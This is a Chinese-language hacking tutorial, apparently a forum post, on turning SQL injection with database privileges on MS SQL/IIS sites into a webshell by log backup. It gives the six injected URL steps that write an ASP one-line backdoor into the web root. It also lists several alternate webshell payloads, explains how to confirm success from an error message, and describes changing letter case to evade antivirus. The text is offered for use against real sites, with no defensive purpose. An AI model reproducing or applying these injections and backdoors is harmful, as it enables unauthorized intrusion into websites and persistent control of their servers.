当SQL注入是得到DB权限时候,接下来可以做的工作很多,象找管理员密码,后台管理这些都可以帮助你拿到WEBSHELL,但是这篇文章讲的是log备份,LOG备份出来的小马的体积小,而且备份的成功的可性很大,所以是我作为对DB权限的第一种试探方法.
但是在LOG备份中,我们经常会遇到一些很让我们头痛的问题,那就是闭合的问题,我在这里做个总结,也
好让我们对不能闭合的方法有一个全面的了解.
1.先介绍下LOG备份,这个相信大家都很熟悉了,我还是习惯在IE里直接提交,返回正常的页面就说这一步的操作就成功了,如果没有返回正常的页面,我们就可以根据IE返回的错误来找他的原因.(这里说下要将IE的错误提示给打开),LOG的格式如下所示:
http://www.site.com/xx.asp?id=xxx;alter database databasename set RECOVERY FULL
http://www.site.com/xx.asp?id=xxx;create table cmd (a image)--
http://www.site.com/xx.asp?id=xxx;backup log databasename to disk = 'c:cmd' with init
http://www.site.com/xx.asp?id=xxx;insert into cmd (a) values ('<%%Execute(request("go"))%%>')--
http://www.site.com/xx.asp?id=xxx;backup log databasename to disk = 'x:xxxxxxasp1.asp'--
http://www.site.com/xx.asp?id=xxx;drop table cmd--
分为6步操作,最容易出错的就是第4步的操作,经常返回没有闭合的问题,下面就是一些我们可以将
values中的内容可以进行更换的方式,当我们的一种方式不行的话,就可以换另一种方式,当所有的方式
都换完了,没有什么好说的,要么就放弃,要么就换另一种方式继续,想列目录找数据库下载,后台.这
里就不多说了,可以提换的内容有:
a).<%%Execute(request("go"))%%>
b).<%Execute(request("go"))%>
c).%><%execute request("go")%><%
d).<script language=VBScript runat=server>execute request("sb")</Script>
e).<%Execute(request("l"))%>
<%execute request("a")%>
2.LOG备份要注意的一些问题:
a).要注意你现在的机器是不是WEB主机,简单的方法就是翻他的目录,看有没有IIS安装的文件
b).当你确定你要找的确实是WEN主机时,就可以找他的站点目录了,这个也很重要,是步骤5的操作,如果备份到一个错误的目录,当然就没有办法访问了
c).备份成功后,你就可以试着用客户端去连接,这个地方也有人弄错,现在用的字段是go,你的客户端的
相关字段也为go
d).用ececute正常备份出来的是用错误提示的,当你的显示500错误时,请你将的IE错误提示打开,当显示
Microsoft VBScript 运行时错误 错误 '800a000d'
类型不匹配: 'execute'
时候表示你已经成功了,连接吧!!
e).还有极端的时候你备份出来的一句话被杀(当你确定你确实是备份在WEB主机的对应目录是),你可以将
上面的VALUES字段中的值做几个大小写转换,一般是没有问题的..
3.因为这篇文章用了很多前辈的东西,不敢说是原创,只能算做是讨论,我会将我所知道的东西在以后的
日子里一一更新上去..谢谢!!
4.感谢各位前辈提出这么一个好方法否则就不会有这篇文章了..